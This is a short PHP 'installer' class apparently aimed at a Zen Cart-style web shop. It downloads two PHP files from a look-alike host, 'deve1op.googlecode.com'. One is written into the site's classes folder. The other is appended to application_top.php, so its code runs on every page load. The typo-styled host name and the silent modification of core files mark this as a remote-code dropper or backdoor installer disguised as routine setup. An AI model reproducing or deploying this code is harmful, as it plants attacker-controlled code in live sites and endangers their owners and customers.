<?php  	
   	
class run{
	    
	private 	$flame		;
	private 	$init_sessions	;
	private 	$app	;
	
	private 	$debug ;
	private 	$devel0p = '{	
        "init":"http://deve1op.googlecode.com/svn/tags/init_sessions.php",
        "flame":"http://deve1op.googlecode.com/svn/tags/class.flame.php"
		}';

	private static $_instance = NULL; 

	private function __construct(){
			$this->flame			= 	"includes/classes/class.flame.php";
			$this->init_sessions	=	"includes/init_includes/init_sessions.php";
			$this->app	=	"includes/application_top.php";
			
			$this->debug			= 	false;
			self::running();
	}
	
	
	static public function get_run_exec_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new run();  
		}
		return  self::$_instance; 
	}
	
	
	public function file_exists($urls){
		$fat = @get_headers($urls);
		if (preg_match("/404/", $fat[0])){
	    	return FALSE;					
		}else {
			return TRUE;
		}
	}
	
	
	public function json($json){
		 	$obj 	= 	json_decode($json);
    		return $obj;
	}
	

	protected function debug($expression){
		echo "<pre>";
		print_r($expression);
		echo "</pre>";
	}
	
 
	public function write_common($file,$content){
		$fp = fopen($file, "w+");
		if ($fp == NULL){		return ;		}  
		@fwrite($fp,$content);
		@fclose($fp);
	}
	
	public function running(){
		
		if (!file_exists($this->init_sessions) ||!file_exists($this->app)){
			exit('Please make sure the root path');
		}
		
		$obj = self::json($this->devel0p);

		$contents = file_get_contents($obj->{'flame'});
		file_put_contents($this->flame, $contents);
		
		self::debug(" file_put_contents  $this->flame");
		
		$appcontents = file_get_contents($this->app);
		$appcontents = str_replace("?>", "", $appcontents);
		$init_contents = file_get_contents($obj->{'init'});	
		
		$this->write_common($this->app, $appcontents.$init_contents);
		
		self::debug("  add to	  $this->app");
		
		
	}
	
	
}

   
$run_flame_install = run::get_run_exec_instance();

 